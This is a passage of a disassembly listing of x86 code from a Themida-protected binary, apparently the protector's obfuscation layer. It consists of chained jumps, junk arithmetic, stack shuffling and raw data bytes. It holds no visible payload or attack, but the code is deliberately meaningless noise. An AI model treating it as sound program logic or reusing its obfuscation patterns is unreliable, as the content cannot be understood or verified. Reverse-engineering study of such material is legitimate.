jmp loc_56C0F5 ; --------------------------------------------------------------------------- loc_5647FC: ; CODE XREF: Themida_:005677BEj xchg eax, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, esp push eax mov eax, 795F2276h push eax not dword ptr [esp] pop eax dec eax or eax, 29D15D48h push ecx mov ecx, 17690260h not ecx jmp loc_558F46 ; --------------------------------------------------------------------------- dw 815Eh dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0E9522424h, 275Bh dd 0C500ADB0h, 0EA885866h, 39F2E9h db 0 ; --------------------------------------------------------------------------- loc_56484D: ; CODE XREF: Themida_:00562495j sub esi, ebx push dword ptr [esp] pop ebx jmp loc_56CBFA ; --------------------------------------------------------------------------- loc_564858: ; CODE XREF: Themida_:0055ECE2j push 71FDh push esp jmp loc_5687A6 ; --------------------------------------------------------------------------- loc_564863: ; CODE XREF: Themida_:0055A955j ; Themida_:00567FBBj sub ebp, 4 jmp loc_56CC19 ; --------------------------------------------------------------------------- dw 0C89h aTyhL db '$TYh=L',0 align 4 dd 0BA241489h, 21F652C8h, 478868h, 24148900h, 0F7240487h dd 240487D0h, 8324148Bh, 0F28104C4h, 0DE09AD33h, 6500E981h dd 62E90358h, 8BFFFFB9h, 0C483243Ch, 5EF30904h, 1FA4E9h db 0 ; --------------------------------------------------------------------------- loc_5648B5: ; CODE XREF: Themida_:0055E953j add ecx, 7B2B30F2h add ecx, edi sub ecx, 7B2B30F2h pop edi sub ecx, 4 jmp loc_55C729 ; --------------------------------------------------------------------------- loc_5648CC: ; CODE XREF: Themida_:00557C58j push ecx mov cl, 6 xor cl, 3Ch add bh, cl pop ecx xchg dl, bh not dl xchg dl, bh push small 79DFh mov [esp], cx push ebx jmp loc_564AD8 ; --------------------------------------------------------------------------- loc_5648E9: ; CODE XREF: Themida_:0055A40Fj add edx, 0BA2513Dh add edx, 0F74FBFEDh jmp loc_56D100 ; --------------------------------------------------------------------------- loc_5648FA: ; CODE XREF: Themida_:0056C9E9j mov dh, 0DAh jmp loc_56D2B8 ; --------------------------------------------------------------------------- loc_564901: ; CODE XREF: Themida_:005583BCj mov [esp], ecx mov cl, 0A2h jmp loc_56C9DF ; --------------------------------------------------------------------------- loc_56490B: ; CODE XREF: Themida_:loc_5625AFj add edx, 4EA8CE01h jmp loc_5610D5 ; --------------------------------------------------------------------------- loc_564916: ; CODE XREF: Themida_:0056C220j pop eax jmp loc_569C16 ; --------------------------------------------------------------------------- loc_56491C: ; CODE XREF: Themida_:0056CB85j add ebx, 4 xchg ebx, [esp] pop esp xor [esp+4], esi pop esi pop eax push edx jmp loc_560337 ; --------------------------------------------------------------------------- loc_564932: ; CODE XREF: Themida_:00558493j mov esi, 2 sub eax, 605C61F3h push 3668h mov [esp], ecx mov ecx, 11067135h add eax, ecx pop ecx add eax, esi sub eax, 11067135h push 5AD9h mov [esp], ecx mov ecx, 32D91A07h dec ecx jg loc_56205A sub ecx, 1B2641AEh mov dl, 18h push eax loc_564971: ; CODE XREF: Themida_:0056A1B8j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push dword ptr [eax] jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_564982: ; CODE XREF: Themida_:00565FF8j mov edx, esi pop esi add edx, 40187D21h xor edx, 352D60D1h xor edx, 0B144C6C1h jmp loc_5580BC ; --------------------------------------------------------------------------- dword_56499C dd 240C8B66h, 52E08950h, 1BAAE9h, 0FCC68100h, 0E92EF00Ch ; DATA XREF: Themida_:00556048o dd 84A6h ; --------------------------------------------------------------------------- loc_5649B4: ; CODE XREF: Themida_:005601BCj mov [esp], edi mov edi, 76CE7A04h jmp loc_56A97B ; --------------------------------------------------------------------------- loc_5649C1: ; CODE XREF: Themida_:0056B0FFj sub ebx, 0AA4BEBABh sub eax, 58B01CEEh add eax, ebx add eax, 58B01CEEh mov ebx, [esp] add esp, 4 push edi mov edi, 28C11C15h sub ebx, 51272B90h sub ebx, 544C36F4h add ebx, edi push ebp mov ebp, 309B7E3Bh inc ebp xor ebp, 3912141Ah dec ebp add ebp, 4593440Ch sub ebp, 0FAD0773Dh add ebx, ebp pop ebp jmp loc_565491 ; --------------------------------------------------------------------------- loc_564A12: ; CODE XREF: Themida_:loc_558CCFj or eax, 3B5C2A18h jle loc_5681A6 xor eax, 0A62B7095h inc eax jl loc_559F1B pop ebx xor esi, 7EB95349h or edi, esi pop esi sub edi, 0FEFBFF36h push 436Ch mov [esp], eax mov eax, 1F8C0347h jmp loc_569001 ; --------------------------------------------------------------------------- loc_564A4B: ; CODE XREF: Themida_:0056A86Dj push dword ptr [esp] pop edi jmp loc_56C7D6 ; --------------------------------------------------------------------------- loc_564A54: ; CODE XREF: Themida_:0055C688j xor esi, 2F6B788Eh push esi sub dword ptr [esp], 11ED2AF5h mov ebx, [esp] jmp loc_5567A6 ; --------------------------------------------------------------------------- loc_564A6A: ; CODE XREF: Themida_:005632C7j add esp, 4 sub ah, dh pop edx or bh, ah mov eax, [esp] add esp, 4 xchg al, bh not al xchg al, bh jmp loc_565FEC ; --------------------------------------------------------------------------- loc_564A86: ; CODE XREF: Themida_:0055659Dj pop edi shl eax, 5 neg eax shl eax, 4 push eax push ebx mov eax, [esp] jmp loc_56C821 ; --------------------------------------------------------------------------- db 0Fh, 87h, 0E9h dd 5500006Eh, 1D3107BDh, 7385E991h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564AAA: ; CODE XREF: Themida_:005597B4j push edi mov edi, 18D53D24h add edx, edi mov edi, [esp] add esp, 4 mov eax, [esp] jmp loc_560351 ; --------------------------------------------------------------------------- byte_564AC3 db 68h ; DATA XREF: Themida_:005560CCo dd 7955h, 68242C89h, 7479h, 0E9240C89h, 32F1h ; --------------------------------------------------------------------------- loc_564AD8: ; CODE XREF: Themida_:005648E4j mov bh, 0C8h mov cl, 8Ah add cl, bh pop ebx jmp loc_567205 ; --------------------------------------------------------------------------- loc_564AE4: ; CODE XREF: Themida_:00564179j push eax jmp loc_560373 ; --------------------------------------------------------------------------- loc_564AEA: ; CODE XREF: Themida_:0056B434j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_564AEF: ; CODE XREF: Themida_:0055DEB2j add ecx, 380DCA98h jmp loc_562115 ; --------------------------------------------------------------------------- dw 1C33h dd 24248B24h, 0FFC938E9h db 0FFh ; --------------------------------------------------------------------------- loc_564B05: ; CODE XREF: Themida_:0055755Ej mov eax, [esp] add esp, 4 sub edi, 455D6225h add edi, 20E65EDh sub edi, ebx jmp loc_55E829 ; --------------------------------------------------------------------------- loc_564B1E: ; CODE XREF: Themida_:00560F4Cj add ebp, 2D4F1153h push esi mov esi, 2DE47DBBh sub esi, 32DD4CB3h jmp loc_55C178 ; --------------------------------------------------------------------------- loc_564B35: ; CODE XREF: Themida_:0055DA44j pop eax add edi, esi pop esi add edi, ebp sub edi, 3FD43812h add edi, 3420073Bh pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push eax mov eax, esp push ebp mov ebp, 569456F6h dec ebp sub ebp, 569456F1h add eax, ebp pop ebp sub eax, 4 xchg eax, [esp] jmp loc_5668FA ; --------------------------------------------------------------------------- dw 4481h dd 2EB00424h, 8B58121Dh, 0C4832404h, 8AB95104h, 8175FA57h dd 0FA5786E9h, 16E26875h, 1C890000h, 0BE8BB24h, 0D82902CEh dd 0FF730FE9h, 4EB505FFh, 67E9154Eh db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_564BAB: ; CODE XREF: Themida_:00558CBCj mov eax, 4 jmp loc_56833B ; --------------------------------------------------------------------------- loc_564BB5: ; CODE XREF: Themida_:005624F0j shr edx, 1 cmp eax, edx jmp loc_5582B5 ; --------------------------------------------------------------------------- loc_564BBE: ; CODE XREF: Themida_:0055EC23j pop ecx jmp loc_55D9B0 ; --------------------------------------------------------------------------- loc_564BC4: ; CODE XREF: Themida_:00561BBDj mov ebp, 4 add eax, ebp pop ebp jmp loc_56AF83 ; --------------------------------------------------------------------------- db 68h, 17h, 7Fh dd 2C890000h, 3459BD24h, 0C58163C0h, 54BB119Dh, 72FFE581h dd 8B0F0BF2h, 65B3h, 2E03ED81h, 870F16E2h, 0FFFFA0C6h dd 5E45BB53h, 97E93C70h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C07: ; CODE XREF: Themida_:loc_560EF9j dec cl jno loc_566A6A not cl jmp loc_5664DD ; --------------------------------------------------------------------------- dw 0D38Ah db 8Ah, 0E4h ; --------------------------------------------------------------------------- loc_564C1A: ; CODE XREF: Themida_:0056B483j mov cl, 2 add al, cl pop cx sub al, cl sub al, 2 push cx jmp loc_559A4C ; --------------------------------------------------------------------------- db 51h dd 0F0E9E189h, 81FFFF7Ch, 4C4h, 0A9D8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C3E: ; CODE XREF: Themida_:0055E28Fj add esp, 4 xchg edi, [esp] mov esp, [esp] jmp loc_55A4E9 ; --------------------------------------------------------------------------- loc_564C4F: ; CODE XREF: Themida_:0056D61Cj mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5581EB ; --------------------------------------------------------------------------- loc_564C60: ; CODE XREF: Themida_:00560F40j sub esp, 4 mov [esp], esp push esi mov esi, 4 add [esp+4], esi jmp loc_55DEAB ; --------------------------------------------------------------------------- db 4Eh, 81h, 0EEh dd 0BCA92A21h, 815EF001h, 4ECh, 3690E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564C8A: ; CODE XREF: Themida_:005575CFj and edx, 41F613EDh add edx, 40250582h shl edx, 2 jmp loc_566470 ; --------------------------------------------------------------------------- loc_564C9E: ; CODE XREF: Themida_:00563A9Bj mov ecx, 56E53612h shl ecx, 4 add ecx, 0FFFFFFFFh jmp loc_5619F6 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0E9E28952h, 0FFFF6E10h ; --------------------------------------------------------------------------- loc_564CBC: ; CODE XREF: Themida_:0055C31Aj pop esp mov [esp], ebp push 4 pop ebp add edi, ebp mov ebp, [esp] add esp, 4 jmp loc_562287 ; --------------------------------------------------------------------------- loc_564CD3: ; CODE XREF: Themida_:0055D476j add esp, 4 push ebx push 50552483h pop ebx and ebx, 65933088h shl ebx, 8 and ebx, 5FD03F0Ah sub ebx, 0ABB78EFFh xor eax, ebx pop ebx mov ebx, [esp] push ebp mov ebp, esp jmp loc_55CE98 ; --------------------------------------------------------------------------- loc_564D03: ; CODE XREF: Themida_:0056D6D3j push edx push esp pop edx jmp loc_55794B ; --------------------------------------------------------------------------- loc_564D0B: ; CODE XREF: Themida_:0055A8EBj or eax, 292A54BBh sub esp, 4 mov [esp], esi jmp loc_5670E1 ; --------------------------------------------------------------------------- loc_564D1E: ; CODE XREF: Themida_:00558388j push 267Dh mov [esp], ebx jmp loc_55AA8D ; --------------------------------------------------------------------------- loc_564D2B: ; CODE XREF: Themida_:005656D0j add ebx, esi push dword ptr [esp] pop esi push eax mov eax, esp jmp loc_5682A0 ; --------------------------------------------------------------------------- loc_564D39: ; CODE XREF: Themida_:00566275j sub ch, 0F3h jmp loc_557B06 ; --------------------------------------------------------------------------- loc_564D41: ; CODE XREF: Themida_:loc_56304Cj push bx mov bl, 41h jmp loc_56B53F ; --------------------------------------------------------------------------- loc_564D4A: ; CODE XREF: Themida_:0056B496j sub esi, edx jmp loc_562C3E ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0F418A8BEh, 0BE565736h, 2E384F1Ch, 0FF4C68E9h db 0FFh ; --------------------------------------------------------------------------- loc_564D65: ; CODE XREF: Themida_:00559612j ; Themida_:00568769j add esp, 4 add edx, edi add edx, 4B5B0DE6h jmp loc_5678ED ; --------------------------------------------------------------------------- loc_564D75: ; CODE XREF: Themida_:0055D32Bj add edx, 5FD33E8Bh sub edx, 39114C7h jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_564D86: ; CODE XREF: Themida_:0055DE0Aj push 4B3h jmp loc_56CA97 ; --------------------------------------------------------------------------- loc_564D90: ; CODE XREF: Themida_:00557344j pop ebp jmp loc_55BEFE ; --------------------------------------------------------------------------- loc_564D96: ; CODE XREF: Themida_:0055FE69j sub bl, dl sub bl, 7Eh sub bl, 3Bh pop edx jmp loc_56A785 ; --------------------------------------------------------------------------- dd offset dword_518FD4+294h dd 24348900h, 2887E9h db 0 ; --------------------------------------------------------------------------- loc_564DB1: ; CODE XREF: Themida_:005656F1j push ecx jmp loc_5614E5 ; --------------------------------------------------------------------------- loc_564DB7: ; CODE XREF: Themida_:005661C7j mov edx, [esp] jmp loc_55CCC3 ; --------------------------------------------------------------------------- loc_564DBF: ; CODE XREF: Themida_:00569BE2j push eax sub esp, 4 mov [esp], eax mov eax, 36122CA6h xor [esp+4], eax pop eax mov ebp, [esp] jmp loc_56CAFD ; --------------------------------------------------------------------------- loc_564DDB: ; CODE XREF: Themida_:0055C37Aj mov edx, 0AC34D37Eh add ebx, edx pop edx sub ebx, 64DDFD10h jmp loc_56705F ; --------------------------------------------------------------------------- loc_564DEE: ; CODE XREF: Themida_:0056C0A5j mov ebp, 3BA76CAFh and ebp, 46BF17C7h sub ebp, 0FFFFFFFFh shl ebp, 4 jmp loc_5620CE ; --------------------------------------------------------------------------- loc_564E04: ; CODE XREF: Themida_:00567D77j add edx, 749C1A95h sub edx, 601F5666h add edx, ecx add edx, 601F5666h push eax mov eax, 787B554Fh not eax push edx mov edx, 0ED176FE5h add eax, edx pop edx sub edx, eax jmp loc_569F7D ; --------------------------------------------------------------------------- loc_564E30: ; CODE XREF: Themida_:00568ABDj push esi jmp loc_56D0AB ; --------------------------------------------------------------------------- loc_564E36: ; CODE XREF: Themida_:00556B85j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_564E3B: ; CODE XREF: Themida_:00563D0Bj add esi, eax pop eax xchg esi, [esp] jmp loc_55C5A9 ; --------------------------------------------------------------------------- loc_564E46: ; CODE XREF: Themida_:0055C63Dj add esi, 1FFFE3ADh push eax mov eax, 51AB401Bh xor esi, eax pop eax jmp loc_562608 ; --------------------------------------------------------------------------- loc_564E5A: ; CODE XREF: Themida_:0056B290j push small 5963h mov [esp], ax mov ah, 46h xor dh, ah mov ax, [esp] add esp, 2 add ah, 11h add ah, dh sub ah, 11h pop edx sub cl, ah push dword ptr [esp] pop eax push ebx jmp loc_562831 ; --------------------------------------------------------------------------- loc_564E85: ; CODE XREF: Themida_:00568DCCj shr bh, 2 jmp loc_567BD9 ; --------------------------------------------------------------------------- loc_564E8D: ; CODE XREF: Themida_:00559B99j add [esp+4], esi mov esi, [esp] add esp, 4 jmp loc_558564 ; --------------------------------------------------------------------------- db 5Dh dd 4C481h, 0C5810000h, 4, 0A0968h, 243C8900h, 4EC81h, 34890000h dd 2BE24h, 81560000h, 1B83242Ch, 815F21C4h, 0C41B83C7h dd 24348B21h, 6F11E9h db 0 ; --------------------------------------------------------------------------- loc_564ED9: ; CODE XREF: Themida_:00567F6Ej not edi jmp loc_557052 ; --------------------------------------------------------------------------- loc_564EE0: ; CODE XREF: Themida_:00569B5Ej sub edx, 159D2616h add edx, 4FC60BAAh push ebp mov ebp, 3E44292Dh xor ebp, 44971D79h add edx, ebp push dword ptr [esp] pop ebp push edi mov edi, esp jmp loc_563955 ; --------------------------------------------------------------------------- loc_564F06: ; CODE XREF: Themida_:0055E622j sub edx, 54B63A93h jmp loc_56B8D8 ; --------------------------------------------------------------------------- loc_564F11: ; CODE XREF: Themida_:0055DE4Ej pop esi push eax jmp loc_5633A9 ; --------------------------------------------------------------------------- loc_564F18: ; CODE XREF: Themida_:00563473j push ebp mov ebp, 4A4930B7h jmp loc_56C291 ; --------------------------------------------------------------------------- loc_564F23: ; CODE XREF: Themida_:0055FAF7j mov cx, [esp] add esp, 2 xor bx, ax jmp loc_56A925 ; --------------------------------------------------------------------------- word_564F32 dw 8B66h ; DATA XREF: Themida_:00556090o dd 0EC83240Ch, 242C8904h, 0FFE553E9h, 2E3C1FFh, 0FF70A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_564F49: ; CODE XREF: Themida_:0055E6A8j add dword ptr [esp], 4 pop ebx push ecx push edx jmp loc_5596B1 ; --------------------------------------------------------------------------- loc_564F55: ; CODE XREF: Themida_:005622E3j jnz loc_5629B7 jmp loc_558387 ; --------------------------------------------------------------------------- dd 9C7AEB81h, 0DF89BD61h ; --------------------------------------------------------------------------- loc_564F68: ; CODE XREF: Themida_:00565FE7j push 249h mov [esp], edi mov edi, 4 add eax, edi pop edi jmp loc_560F45 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4BE5600h, 0E9000000h, 0FFFF461Bh, 4BF575Ch, 52000000h dd 405FD8BAh, 5AD3293Fh, 0C381FB01h, 3F405FD8h, 4EC835Fh dd 0B9240C89h, 5C4F8Fh, 8C0FD9F7h, 3F04h, 0E908E1C1h, 0FFFF419Ch dd 6BD6E9h db 0 ; --------------------------------------------------------------------------- loc_564FC9: ; CODE XREF: Themida_:00563CB7j push 0FFCh mov [esp], ecx jmp loc_55C934 ; --------------------------------------------------------------------------- loc_564FD6: ; CODE XREF: Themida_:00565FEFj and bh, 0E4h jnp loc_55FDB8 dec bh jnz loc_55E782 push eax mov ah, 0DFh add bh, ah pop eax mov dl, bh pop ebx jmp loc_5612A5 ; --------------------------------------------------------------------------- db 58h ; --------------------------------------------------------------------------- loc_564FF6: ; CODE XREF: Themida_:005642B9j pop ebx add esp, 4 push 123Fh mov [esp], ebp mov ebp, 2 jmp loc_563209 ; --------------------------------------------------------------------------- dword_56500C dd 9D1C77FFh, 1CD35966h, 0CCE99C24h ; DATA XREF: Themida_:005561ECo db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56501B: ; CODE XREF: Themida_:0056BD43j add eax, edi pop edi jmp loc_565E7F ; --------------------------------------------------------------------------- db 0C1h dd 0E95205EEh, 2EE0h ; --------------------------------------------------------------------------- loc_56502C: ; CODE XREF: Themida_:00557163j jmp loc_561B4C ; --------------------------------------------------------------------------- aIbFkpS db 'I│а■kp╨И;>',0 dd 59F68100h, 0E924642Ch, 0FFFFB964h ; --------------------------------------------------------------------------- loc_565048: ; CODE XREF: Themida_:005686ADj inc ah push edx mov dh, 0D4h sub dh, 0F0h push ecx mov cl, 63h xor dh, cl mov ecx, [esp] jmp loc_56B289 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0Ch dd 811B2824h, 907F83EDh, 0EC815E20h, 4, 56241C89h, 0E84147BEh dd 4149BB1Bh, 82E91BE8h, 0BDFFFF37h, 4, 875DEF29h, 895C243Ch dd 0DFBF243Ch, 813ADA17h, 4ECh, 24148900h, 7C87B951h, 0CA892382h dd 81DAF759h, 0CF487AE2h, 0B6BE5672h, 0F75AB309h, 7EEC1DEh dd 0E906E6C1h, 1EE1h ; --------------------------------------------------------------------------- loc_5650C4: ; CODE XREF: Themida_:00556E65j ; Themida_:00560089j mov [esp], ebx sub esp, 4 mov [esp], ebp push edi jmp loc_55CD8E ; --------------------------------------------------------------------------- loc_5650D3: ; CODE XREF: Themida_:0055CF51j or edx, eax shl edx, 1 push dword ptr [edi+24h] push 1012h mov [esp], ebx jmp loc_56A6EA ; --------------------------------------------------------------------------- a1sXs_ db '1Х])гXИ.`',0 align 2 loc_5650F2: ; CODE XREF: Themida_:0055C4CBj pop edx push edx mov edx, 4 add ecx, 2D557B50h add ecx, edx sub ecx, 2D557B50h pop edx sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] add edx, 4 jmp loc_55F084 ; --------------------------------------------------------------------------- dword_565124 dd 24048B66h, 0FF8DD1E9h ; DATA XREF: Themida_:00556248o db 0FFh ; --------------------------------------------------------------------------- loc_56512D: ; CODE XREF: Themida_:0055B3B7j not esi xor esi, 9A208CB7h mov edi, esi mov esi, [esp] jmp loc_56A5A3 ; --------------------------------------------------------------------------- loc_56513F: ; CODE XREF: Themida_:0055B23Dj ; Themida_:00561A06j push ecx push 4 pop ecx add edi, ecx pop ecx push 25F3h mov [esp], ecx mov ecx, 4 sub edi, 513272C8h add edi, ecx push edx mov edx, 513272C8h add edi, edx jmp loc_556A40 ; --------------------------------------------------------------------------- loc_56516B: ; CODE XREF: Themida_:00557110j add esp, 4 xor esi, ecx pop ecx jmp loc_561D78 ; --------------------------------------------------------------------------- loc_565176: ; CODE XREF: Themida_:00558306j add esi, 0DD202587h mov edi, esi pop esi dec edi dec edi not edi and edi, 7F623B29h shr edi, 7 not edi jmp loc_558CC1 ; --------------------------------------------------------------------------- loc_565193: ; CODE XREF: Themida_:0055F649j xor eax, 60B60091h jmp loc_56A4B3 ; --------------------------------------------------------------------------- db 1, 0F5h, 0E9h dd 0FFFFFEB9h dword_5651A4 dd 24048B66h, 66D7E9h, 0E9DBF700h, 0FFFF609Eh ; DATA XREF: Themida_:00556270o ; --------------------------------------------------------------------------- loc_5651B4: ; CODE XREF: Themida_:0056BB9Aj xchg ebx, [esp] mov esp, [esp] jmp loc_564685 ; --------------------------------------------------------------------------- db 0BBh dd 1EAF59E9h, 7ABDEB81h, 68E9062Ah db 11h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5651CF: ; CODE XREF: Themida_:00561DA3j pop ebp push dword ptr [edi+eax*4] push 2542h mov [esp], edx push 1C2443D5h mov edx, [esp] add esp, 4 add dword ptr [esp+4], 2E2B1642h push ebx push edx mov edx, 75B87353h and edx, 23723164h sub edx, 0FE342007h mov ebx, edx pop edx sub [esp+8], ebx jmp loc_560429 ; --------------------------------------------------------------------------- dd 0E31E32BEh, 5EF00102h, 8158C131h, 0EC1221EBh, 81CB0113h dd 0EC1221C3h, 240C8B13h, 4C481h, 0E9550000h, 0FFFF459Ah ; --------------------------------------------------------------------------- loc_565238: ; CODE XREF: Themida_:loc_569A55j xor al, 0CEh mov cl, al pop eax add ah, cl jmp loc_56B46F ; --------------------------------------------------------------------------- loc_565244: ; CODE XREF: Themida_:00569224j shl ch, 1 jnz loc_55B9BD sub ch, 0F3h jp loc_55D6ED push ebx mov bh, 97h push cx pop ebp loc_56525B: ; CODE XREF: Themida_:0056083Ej push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_55AED5 ; --------------------------------------------------------------------------- loc_565275: ; CODE XREF: Themida_:0055B4BAj ; Themida_:00565D84j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] pop esp shr word ptr [esp], cl pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_565295: ; CODE XREF: Themida_:005573C6j mov ebp, 60BF180Ch mov edx, 0FCCC2C81h add edx, 2F1B3556h jmp loc_55E90D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C381h, 63E90000h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5652BB: ; CODE XREF: Themida_:0056588Aj add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp or edx, eax shl edx, 1 push 35DCh mov [esp], esi jmp loc_5592F2 ; --------------------------------------------------------------------------- loc_5652DC: ; CODE XREF: Themida_:0056AF44j add cl, 75h jnb loc_564625 jmp loc_56A4DF ; --------------------------------------------------------------------------- loc_5652EA: ; CODE XREF: Themida_:00565687j pop ecx or ebx, ecx pop ecx jmp loc_56C0A2 ; --------------------------------------------------------------------------- loc_5652F3: ; CODE XREF: Themida_:0056B741j xchg ebx, [esp] mov esp, [esp] push ebx mov bl, 7Eh add ah, bl pop ebx add ah, 0FFh sub esp, 4 mov [esp], edx jmp loc_55902E ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFF3655h, 3BA8E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56531E: ; CODE XREF: Themida_:0055764Aj add eax, ebx pop ebx mov edi, eax mov eax, [esp] jmp loc_567BEB ; --------------------------------------------------------------------------- loc_56532B: ; CODE XREF: Themida_:0055DD4Aj mov [esp], eax jmp loc_558BC4 ; --------------------------------------------------------------------------- db 58h dd 8B5EF029h, 8951243Ch, 0BBE56E1h, 0F703545Eh, 0EED14ED6h dd 2F0BC681h, 0F10181AAh, 9D0E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_565356: ; CODE XREF: Themida_:0056B4DCj push 1B41h mov [esp], ebx jmp loc_56CB7D ; --------------------------------------------------------------------------- db 52h dd 796B2BBAh, 0DA4AB814h, 0D001F182h, 64EAE95Ah, 0EBA0000h dd 8161397Fh, 0B95D0ECAh, 3E2C15Bh, 56C1B951h, 0D9F77A80h dd 0FF39FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_565391: ; CODE XREF: Themida_:00566021j pop ebx push ebx jmp loc_56D16F ; --------------------------------------------------------------------------- loc_565398: ; CODE XREF: Themida_:00568707j add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 push edx push ecx push ebp mov ebp, 296176BCh inc ebp jmp loc_56246D ; --------------------------------------------------------------------------- loc_5653B6: ; CODE XREF: Themida_:005684A4j sub al, 90h and al, 81h push 3656h mov [esp], ebx jmp loc_56741C ; --------------------------------------------------------------------------- byte_5653C7 db 0FFh ; DATA XREF: Themida_:005561C8o dd 669D1C77h, 24041058h, 0F11E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5653D6: ; CODE XREF: Themida_:0056A53Fj mov ebx, [esp] jmp loc_56983F ; --------------------------------------------------------------------------- loc_5653DE: ; CODE XREF: Themida_:0055C866j push eax mov eax, 38B1304h and ebx, eax jmp loc_559F26 ; --------------------------------------------------------------------------- loc_5653EB: ; CODE XREF: Themida_:0056D723j add ecx, 49D7E62Fh mov esi, 0C90B6D86h sub esi, ecx jmp loc_55B637 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 88EEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565406: ; CODE XREF: Themida_:005635BFj mov ecx, 8156495h inc ecx sub ecx, 8156492h add esi, ecx pop ecx push ebp mov ebp, 4 sub esi, ebp pop ebp xchg esi, [esp] jmp loc_5574A1 ; --------------------------------------------------------------------------- aSsg db '[Иsg',0 align 4 loc_56542C: ; CODE XREF: Themida_:00569794j mov edx, esp push edi mov edi, 50717B73h not edi add edi, 49659D1h jmp loc_569CB0 ; --------------------------------------------------------------------------- byte_565441 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005561D0o dd 59545124h, 8904EC83h, 51B82404h, 5724317Bh, 6D69B850h dd 3B2525AFh, 53EC27Bh, 1, 4805E0C1h, 85C2B22Dh, 58C7893Ah dd 1C7814Fh, 50000000h, 873B88B8h, 578F0D69h, 0E0256D0Ah dd 5084A39h, 54FC49FBh, 0FF1090E9h db 0FFh ; --------------------------------------------------------------------------- loc_565491: ; CODE XREF: Themida_:00564A0Dj push esi mov esi, 6BB61E8Eh shl esi, 8 not esi add esi, 745B991h add ebx, esi jmp loc_55B80D ; --------------------------------------------------------------------------- loc_5654A9: ; CODE XREF: Themida_:005578F5j or eax, 1EE40268h jl loc_568012 jmp loc_56028A ; --------------------------------------------------------------------------- db 0Fh, 88h, 4 db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5654BF: ; CODE XREF: Themida_:0055A46Cj push eax push edx jmp loc_565D89 ; --------------------------------------------------------------------------- loc_5654C6: ; CODE XREF: Themida_:0055B3EDj pop edi xor ecx, edx mov edx, [esp] add esp, 4 jmp loc_55B221 ; --------------------------------------------------------------------------- loc_5654D4: ; CODE XREF: Themida_:00556C1Aj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 34F0h mov [esp], edi push 0FA5h jmp loc_55DEB7 ; --------------------------------------------------------------------------- byte_5654F5 db 8Fh, 2, 0E9h ; DATA XREF: Themida_:0055625Co dd 0FFFF0DEBh ; --------------------------------------------------------------------------- loc_5654FC: ; CODE XREF: Themida_:0056BFA2j pop edx add edx, 4 jmp loc_55C064 ; --------------------------------------------------------------------------- loc_565508: ; CODE XREF: Themida_:005696ECj sub [esp+4], esi jmp loc_56CA6E ; --------------------------------------------------------------------------- loc_565511: ; CODE XREF: Themida_:0056B505j and edx, 78423E49h sub edx, 1F860FBFh xor ecx, edx mov edx, [esp] add esp, 4 and ecx, 7BE11E44h neg ecx push ebx mov ebx, 3B396084h add ebx, 2258A53Dh jmp loc_5669CA ; --------------------------------------------------------------------------- db 81h, 0C7h, 38h dd 8B1B4543h, 0C483240Ch, 4CD9E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565552: ; CODE XREF: Themida_:0056AE35j sub dh, 0B0h sub dh, 1 add dh, 0F9h sub cl, dh pop edx shr cl, 8 and cl, 7Fh push edx jmp loc_55E6AD ; --------------------------------------------------------------------------- word_56556A dw 8B66h ; DATA XREF: Themida_:005561E4o dd 5453240Ch, 81241C8Bh, 4C4h, 0E3895300h, 4C381h, 0EB810000h dd 4, 5C241C87h, 68243489h, 2F2Dh, 0BB241C89h, 41D626D8h dd 0D3F7D3F7h, 0FF7791E9h db 0FFh ; --------------------------------------------------------------------------- loc_5655A5: ; CODE XREF: Themida_:00560E7Aj mov [esp], ebx jmp loc_56ABA5 ; --------------------------------------------------------------------------- db 54h, 58h, 81h dd 4ECh, 241C8900h, 4BBh, 5BD80100h, 4BF57h, 57E90000h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5655CB: ; CODE XREF: Themida_:loc_558043j neg eax neg eax jge loc_566BCB push ebp jmp loc_55DE85 ; --------------------------------------------------------------------------- db 8Bh db 3Ch, 24h, 55h ; --------------------------------------------------------------------------- loc_5655DF: ; CODE XREF: Themida_:00559D98j mov esp, [esp] jmp loc_563E99 ; --------------------------------------------------------------------------- loc_5655E7: ; 